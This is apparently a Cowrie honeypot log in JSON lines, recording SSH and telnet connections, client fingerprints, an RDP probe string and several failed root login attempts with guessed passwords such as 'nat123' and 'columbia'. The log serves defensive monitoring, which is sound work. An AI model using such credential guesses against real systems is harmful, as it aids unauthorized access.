{"eventid":"cowrie.session.closed","duration":120.00265216827393,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:39.337938Z","src_ip":"152.42.224.71","session":"109f5b24b9e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.9947292804718,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:40.347565Z","src_ip":"152.42.224.71","session":"e7eeb6d77372","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":51965,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5ab8491e39f","protocol":"ssh","message":"New connection: 152.42.212.128:51965 (10.17.0.5:22) [session: a5ab8491e39f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:50.697095Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:50.702545Z","src_ip":"152.42.212.128","session":"a5ab8491e39f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:50.706415Z","src_ip":"152.42.212.128","session":"a5ab8491e39f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32940,"dst_ip":"10.17.0.5","dst_port":23,"session":"839ed41024b8","protocol":"telnet","message":"New connection: 152.42.224.71:32940 (10.17.0.5:23) [session: 839ed41024b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:54:51.325921Z"}
{"eventid":"cowrie.session.closed","duration":37.25490474700928,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:02.761544Z","src_ip":"152.42.224.71","session":"e1af1aecdfa7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":60.70484900474548,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:09.738909Z","src_ip":"152.42.224.71","session":"06da97b62d39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.02557921409607,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:10.830101Z","src_ip":"152.42.224.71","session":"43c338d704f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":59770,"dst_ip":"159.203.135.109","dst_port":22,"session":"31be2a48219c","protocol":"ssh","message":"New connection: 191.96.110.121:59770 (159.203.135.109:22) [session: 31be2a48219c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:17.192864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:17.197593Z","src_ip":"191.96.110.121","session":"31be2a48219c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:17.788432Z","src_ip":"191.96.110.121","session":"31be2a48219c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nat123","message":"login attempt [root/nat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:20.410059Z","src_ip":"191.96.110.121","session":"31be2a48219c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:22.086910Z","src_ip":"191.96.110.121","session":"31be2a48219c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.65659713745117,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:30.841332Z","src_ip":"152.42.224.71","session":"43ba0d23020a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47202,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e80add100f2","protocol":"telnet","message":"New connection: 152.42.224.71:47202 (10.17.0.5:23) [session: 9e80add100f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:32.041433Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.201.104.216","src_port":43974,"dst_ip":"10.17.0.5","dst_port":22,"session":"fbc07ce7d21d","protocol":"ssh","message":"New connection: 101.201.104.216:43974 (10.17.0.5:22) [session: fbc07ce7d21d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:39.033828Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:39.276006Z","src_ip":"101.201.104.216","session":"fbc07ce7d21d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45272,"dst_ip":"10.17.0.5","dst_port":23,"session":"d96570def964","protocol":"telnet","message":"New connection: 152.42.224.71:45272 (10.17.0.5:23) [session: d96570def964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:40.754783Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45276,"dst_ip":"10.17.0.5","dst_port":23,"session":"314435ba4912","protocol":"telnet","message":"New connection: 152.42.224.71:45276 (10.17.0.5:23) [session: 314435ba4912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:43.503623Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59876,"dst_ip":"10.17.0.5","dst_port":23,"session":"555b1f95c549","protocol":"telnet","message":"New connection: 152.42.224.71:59876 (10.17.0.5:23) [session: 555b1f95c549]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:46.293801Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59888,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a5512fedf95","protocol":"telnet","message":"New connection: 152.42.224.71:59888 (10.17.0.5:23) [session: 5a5512fedf95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:53.565629Z"}
{"eventid":"cowrie.session.closed","duration":62.45757532119751,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:55:53.783406Z","src_ip":"152.42.224.71","session":"839ed41024b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.974578857421875,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:09.015884Z","src_ip":"152.42.224.71","session":"9e80add100f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42232,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f5b3ba58615","protocol":"telnet","message":"New connection: 152.42.224.71:42232 (10.17.0.5:23) [session: 3f5b3ba58615]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:13.234029Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42234,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce35692f0c33","protocol":"telnet","message":"New connection: 152.42.224.71:42234 (10.17.0.5:23) [session: ce35692f0c33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:14.554455Z"}
{"eventid":"cowrie.session.closed","duration":36.457401514053345,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:17.212093Z","src_ip":"152.42.224.71","session":"d96570def964","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934953451156616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:24.500476Z","src_ip":"152.42.224.71","session":"5a5512fedf95","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49280,"dst_ip":"10.17.0.5","dst_port":23,"session":"0bcd1486ab5c","protocol":"telnet","message":"New connection: 152.42.224.71:49280 (10.17.0.5:23) [session: 0bcd1486ab5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:27.056993Z"}
{"eventid":"cowrie.session.closed","duration":120.00096011161804,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:37.240097Z","src_ip":"152.42.224.71","session":"0a11663c9390","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.833723306655884,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:38.127393Z","src_ip":"152.42.224.71","session":"555b1f95c549","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.06055951118469,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:38.564042Z","src_ip":"152.42.224.71","session":"314435ba4912","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":42816,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2b3a2053c37","protocol":"ssh","message":"New connection: 109.172.54.111:42816 (159.203.135.109:22) [session: b2b3a2053c37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:39.027453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:39.031029Z","src_ip":"109.172.54.111","session":"b2b3a2053c37","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:39.126825Z","src_ip":"109.172.54.111","session":"b2b3a2053c37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11112222","message":"login attempt [root/11112222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:39.414343Z","src_ip":"109.172.54.111","session":"b2b3a2053c37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:40.513468Z","src_ip":"109.172.54.111","session":"b2b3a2053c37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42836,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d4a6bd33f37","protocol":"telnet","message":"New connection: 152.42.224.71:42836 (10.17.0.5:23) [session: 6d4a6bd33f37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:40.774276Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":52589,"dst_ip":"10.17.0.5","dst_port":22,"session":"00ff054a232d","protocol":"ssh","message":"New connection: 167.172.81.52:52589 (10.17.0.5:22) [session: 00ff054a232d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:43.679928Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:43.684518Z","src_ip":"167.172.81.52","session":"00ff054a232d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:43.687607Z","src_ip":"167.172.81.52","session":"00ff054a232d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42850,"dst_ip":"10.17.0.5","dst_port":23,"session":"b82d94540928","protocol":"telnet","message":"New connection: 152.42.224.71:42850 (10.17.0.5:23) [session: b82d94540928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:44.266557Z"}
{"eventid":"cowrie.session.closed","duration":30.00042700767517,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:44.554748Z","src_ip":"152.42.224.71","session":"ce35692f0c33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38174,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6ea0fd33ad9","protocol":"telnet","message":"New connection: 152.42.224.71:38174 (10.17.0.5:23) [session: d6ea0fd33ad9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:55.497037Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42824,"dst_ip":"10.17.0.5","dst_port":23,"session":"670696adbc53","protocol":"telnet","message":"New connection: 152.42.224.71:42824 (10.17.0.5:23) [session: 670696adbc53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:57.634428Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46916,"dst_ip":"10.17.0.5","dst_port":23,"session":"e903a706a317","protocol":"telnet","message":"New connection: 152.42.224.71:46916 (10.17.0.5:23) [session: e903a706a317]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:56:59.081246Z"}
{"eventid":"cowrie.session.closed","duration":40.9341504573822,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:07.991029Z","src_ip":"152.42.224.71","session":"0bcd1486ab5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46964,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ca452654672","protocol":"telnet","message":"New connection: 152.42.224.71:46964 (10.17.0.5:23) [session: 7ca452654672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:13.136694Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56914,"dst_ip":"10.17.0.5","dst_port":23,"session":"1df3291c63ee","protocol":"telnet","message":"New connection: 152.42.224.71:56914 (10.17.0.5:23) [session: 1df3291c63ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:17.564439Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56926,"dst_ip":"10.17.0.5","dst_port":23,"session":"e3c18cf5b357","protocol":"telnet","message":"New connection: 152.42.224.71:56926 (10.17.0.5:23) [session: e3c18cf5b357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:21.097092Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56940,"dst_ip":"10.17.0.5","dst_port":23,"session":"01c03f7729cd","protocol":"telnet","message":"New connection: 152.42.224.71:56940 (10.17.0.5:23) [session: 01c03f7729cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:22.119823Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":56952,"dst_ip":"10.17.0.5","dst_port":23,"session":"448664747480","protocol":"telnet","message":"New connection: 152.42.224.71:56952 (10.17.0.5:23) [session: 448664747480]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:24.220546Z"}
{"eventid":"cowrie.session.closed","duration":42.30379772186279,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:26.570214Z","src_ip":"152.42.224.71","session":"b82d94540928","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37792,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5fd88c85a41","protocol":"telnet","message":"New connection: 152.42.224.71:37792 (10.17.0.5:23) [session: f5fd88c85a41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:29.236244Z"}
{"eventid":"cowrie.session.connect","src_ip":"191.96.110.121","src_port":58252,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed5423c49743","protocol":"ssh","message":"New connection: 191.96.110.121:58252 (159.203.135.109:22) [session: ed5423c49743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:29.381621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:29.783640Z","src_ip":"191.96.110.121","session":"ed5423c49743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:29.980596Z","src_ip":"191.96.110.121","session":"ed5423c49743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"columbia","message":"login attempt [root/columbia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:30.897978Z","src_ip":"191.96.110.121","session":"ed5423c49743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37802,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a8eefac80a2","protocol":"telnet","message":"New connection: 152.42.224.71:37802 (10.17.0.5:23) [session: 3a8eefac80a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:31.708983Z"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:32.089078Z","src_ip":"191.96.110.121","session":"ed5423c49743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36954,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f9d7daecaa6","protocol":"telnet","message":"New connection: 152.42.224.71:36954 (10.17.0.5:23) [session: 5f9d7daecaa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:39.871566Z"}
{"eventid":"cowrie.session.closed","duration":11.964765310287476,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:41.200758Z","src_ip":"152.42.224.71","session":"f5fd88c85a41","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.94792866706848,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:41.582222Z","src_ip":"152.42.224.71","session":"670696adbc53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.984983682632446,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:45.066138Z","src_ip":"152.42.224.71","session":"e903a706a317","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":22.276493310928345,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:46.496933Z","src_ip":"152.42.224.71","session":"448664747480","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53956,"dst_ip":"10.17.0.5","dst_port":23,"session":"104c3f6c3474","protocol":"telnet","message":"New connection: 152.42.224.71:53956 (10.17.0.5:23) [session: 104c3f6c3474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:50.704296Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53962,"dst_ip":"10.17.0.5","dst_port":23,"session":"c917575fe3a8","protocol":"telnet","message":"New connection: 152.42.224.71:53962 (10.17.0.5:23) [session: c917575fe3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:57:50.710285Z"}
